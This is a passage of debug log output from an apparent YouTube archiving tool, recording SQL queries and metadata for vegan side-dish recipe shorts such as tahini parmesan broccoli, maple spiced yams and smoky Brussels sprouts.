taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\n#steamyvegankitchen #steamyvegan #food52 #food52gram #thefeedfeed #thefeedfeedvegan #holidayrecipes #veganholidaycooking #plantbased #plantbaseddiet #eatyourveggies #eatplants #eatplantsnotanimals #broccoli #tahini #vegan #veganfood #veganrecipes #veganvancouver #eatvegan #veganeats", "duration" => 58, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-24 SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts [mCiBUmGhUBw].NA", "id" => "mCiBUmGhUBw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/mCiBUmGhUBw", "playlist_index" => 200, "timestamp" => 1669308798, "title" => "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts", "upload_date" => "20221124"} 20:26:41.508 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:41.509 [debug] QUERY OK source="sources" db=0.4ms queue=0.5ms idle=1004.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:41.512 [debug] QUERY OK source="media_items" db=2.7ms idle=1005.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-24 16:53:18Z], 1] 20:26:41.514 [debug] QUERY OK source="media_items" db=1.4ms idle=1007.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 If you can’t get your kids to eat broccoli, I promise this will be a total game changer for you!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nCheesy, garlicky and tangy, this broccoli is an umami FLAVOR bomb 💣 7 ingredients to heaven! \n\nTAHINI PARMESAN ROASTED BROCCOLI 🥦 \n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\n#steamyvegankitchen #steamyvegan #food52 #food52gram #thefeedfeed #thefeedfeedvegan #holidayrecipes #veganholidaycooking #plantbased #plantbaseddiet #eatyourveggies #eatplants #eatplantsnotanimals #broccoli #tahini #vegan #veganfood #veganrecipes #veganvancouver #eatvegan #veganeats", "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts", "6a50e5e9-892c-44a3-99fc-fabecabd65cf", 1, [], 58, false, "mCiBUmGhUBw", "https://www.youtube.com/shorts/mCiBUmGhUBw", 200, "/downloads/downloads/alec/Steamy Vegan/2022-11-24 SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts [mCiBUmGhUBw].NA", false, false, true, 0, ~U[2022-11-24 16:53:18Z], ~U[2026-03-22 03:26:41Z], ~U[2026-03-22 03:26:41Z], "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 If you can’t get your kids to eat broccoli, I promise this will be a total game changer for you!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nCheesy, garlicky and tangy, this broccoli is an umami FLAVOR bomb 💣 7 ingredients to heaven! \n\nTAHINI PARMESAN ROASTED BROCCOLI 🥦 \n2 crowns broccoli, cut into smaller florets (4 to 5 cups)\n3 tbsp tahini\n3 tbsp lemon juice\n2 tbsp tamari or GF soy sauce\n3 cloves garlic, minced\n1/3 cup vegan parmesan cheese\nblack pepper to taste\nPreheat oven to 450°F and set rack to the top. Add all the ingredients, minus broccoli and black pepper to a large mixing bowl and whisk until well combined. Add the broccoli florets and toss until each piece is coated in the sauce. Transfer to a large parchment lined baking tray and spread evenly. Add a few grinds of fresh black pepper and bake for 10 minutes. Remove from the oven quickly and carefully, and sprinkle on the parmesan cheese. Return to oven to bake for a final 3 to 4 minutes until the cheese has melted. Serve, add a squeeze of lemon juice (optional) and enjoy!\n\n#steamyvegankitchen #steamyvegan #food52 #food52gram #thefeedfeed #thefeedfeedvegan #holidayrecipes #veganholidaycooking #plantbased #plantbaseddiet #eatyourveggies #eatplants #eatplantsnotanimals #broccoli #tahini #vegan #veganfood #veganrecipes #veganvancouver #eatvegan #veganeats", "SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts", 1, 58, false, "mCiBUmGhUBw", "https://www.youtube.com/shorts/mCiBUmGhUBw", "/downloads/downloads/alec/Steamy Vegan/2022-11-24 SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts/SUPER SIMPLE SIDES Ep. 4 — TAHINI PARMESAN ROASTED BROCCOLI 🥦 #youtubeshorts #shorts [mCiBUmGhUBw].NA", true, ~U[2022-11-24 16:53:18Z]] 20:26:41.515 [debug] QUERY OK source="sources" db=1.0ms idle=428.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:41.516 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:41.516 [debug] QUERY OK source="media_items" db=0.4ms idle=6.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [589] 20:26:41.517 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 I have been making this dish for YEARS and my family gobbles it up every time I bring it over 😋\n\nSweet, spiced and savoury, it is the perfect side dish for your holiday gatherings (or for anytime, really) 🧡\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare", "duration" => 56, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-21 SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁/SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 [g-3apa81vBw].NA", "id" => "g-3apa81vBw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/g-3apa81vBw", "playlist_index" => 201, "timestamp" => 1669050610, "title" => "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁", "upload_date" => "20221121"} 20:26:41.518 [debug] QUERY OK source="sources" db=0.5ms idle=5.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:41.518 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:41.520 [debug] QUERY OK source="media_items" db=1.6ms idle=3.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-21 17:10:10Z], 1] 20:26:41.521 [debug] QUERY OK source="media_items" db=0.8ms idle=4.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 I have been making this dish for YEARS and my family gobbles it up every time I bring it over 😋\n\nSweet, spiced and savoury, it is the perfect side dish for your holiday gatherings (or for anytime, really) 🧡\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare", "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁", "bdf4b0cc-8579-4deb-9663-be07abf385f7", 1, [], 56, false, "g-3apa81vBw", "https://www.youtube.com/shorts/g-3apa81vBw", 201, "/downloads/downloads/alec/Steamy Vegan/2022-11-21 SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁/SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 [g-3apa81vBw].NA", false, false, true, 0, ~U[2022-11-21 17:10:10Z], ~U[2026-03-22 03:26:41Z], ~U[2026-03-22 03:26:41Z], "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 I have been making this dish for YEARS and my family gobbles it up every time I bring it over 😋\n\nSweet, spiced and savoury, it is the perfect side dish for your holiday gatherings (or for anytime, really) 🧡\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\nMAPLE SPICED YAMS\n1 large yam, unpeeled and diced\n1/2 tbsp neutral oil (I used grapeseed)\n1 tbsp maple syrup\n1/2 tsp cinnamon\n1/2 tsp garlic powder\n1/4 tsp nutmeg\n1/4 tsp salt\nPreheat oven to 400°F, middle rack set. Add all the ingredients to a large mixing bowl and stir with a spatula to combine, ensuring each piece of yam has been coated in the oil, syrup and spices. Transfer to a large parchment lined baking tray, spreading into an even layer, and bake for 40 minutes until golden and fork tender. Serve and enjoy!\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #glutenfreelife #veganworldshare", "SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁", 1, 56, false, "g-3apa81vBw", "https://www.youtube.com/shorts/g-3apa81vBw", "/downloads/downloads/alec/Steamy Vegan/2022-11-21 SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁/SUPER SIMPLE SIDES Ep. 3 🍠 MAPLE SPICED YAMS 🍁 [g-3apa81vBw].NA", true, ~U[2022-11-21 17:10:10Z]] 20:26:41.523 [debug] QUERY OK source="sources" db=1.3ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:41.523 [debug] QUERY OK source="media_profiles" db=0.6ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:41.524 [debug] QUERY OK source="media_items" db=0.5ms idle=5.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [590] 20:26:41.524 [debug] Current batch of media processed. Will check again in 1000ms 20:26:42.525 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "SWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #brusselssprouts #brussels #maple #maplesyrup #maplestory #maplehaven #holidaycooking #holidayseason", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-11-18 SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts/SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts [IvAqSTzjPWg].NA", "id" => "IvAqSTzjPWg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/IvAqSTzjPWg", "playlist_index" => 202, "timestamp" => 1668793364, "title" => "SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts", "upload_date" => "20221118"} 20:26:42.526 [debug] QUERY OK source="sources" db=0.6ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:42.527 [debug] QUERY OK source="sources" db=0.2ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:42.528 [debug] QUERY OK source="media_items" db=1.7ms idle=1003.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-11-18 17:42:44Z], 1] 20:26:42.530 [debug] QUERY OK source="media_items" db=1.1ms idle=1004.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["SWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #brusselssprouts #brussels #maple #maplesyrup #maplestory #maplehaven #holidaycooking #holidayseason", "SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts", "e46a51b5-bee6-481f-9e3f-5e1935c10696", 1, [], 60, false, "IvAqSTzjPWg", "https://www.youtube.com/shorts/IvAqSTzjPWg", 202, "/downloads/downloads/alec/Steamy Vegan/2022-11-18 SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts/SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts [IvAqSTzjPWg].NA", false, false, true, 0, ~U[2022-11-18 17:42:44Z], ~U[2026-03-22 03:26:42Z], ~U[2026-03-22 03:26:42Z], "SWEET 'N SMOKEY BRUSSELS\n13-15 brussels sprouts, trimmed and halved\n1 tbsp maple syrup\n3/4 tsp liquid smoke\n1/2 tbsp onion powder\nPreheat oven to 400°F. Add the halved brussels to a saucepan with a steamer basket, add 1 cup of water and steam with the lid on for 2 minutes, until bright green. Remove from steamer and transfer to a large bowl. Add the maple syrup and liquid smoke and stir to combine, ensuring each sprout is covered. Add the onion powder and stir once more until well coated. Transfer sprouts to a parchment lined baking tray, evenly spaced apart and bake for 22-24 minutes, turning over halfway. Remove from the oven once golden and slightly charred, serve and enjoy!\n\nFULL RECIPE VIDEO & INSTRUCTIONS ➡️ https://youtu.be/ylCq0ZfWU-8\n\n#steamyvegankitchen #steamyvegan #veganholidays #veganholidaycooking #sidedishes #vegan #vegano #eatplants #happyholidays #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #veganfoodporn #veganfoodie #brusselssprouts #brussels #maple #maplesyrup #maplestory #maplehaven #holidaycooking #holidayseason", "SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts", 1, 60, false, "IvAqSTzjPWg", "https://www.youtube.com/shorts/IvAqSTzjPWg", "/downloads/downloads/alec/Steamy Vegan/2022-11-18 SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts/SUPER SIMPLE SIDES Ep. 2 - Sweet ‘n Smokey Brussels! #shorts #youtubeshorts [IvAqSTzjPWg].NA", true, ~U[2022-11-18 17:42:44Z]] 20:26:42.531 [debug] QUERY OK source="sources" db=0.3ms idle=441.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:42.531 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:42.532 [debug] QUERY OK source="media_items" db=0.4ms idle=4.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = 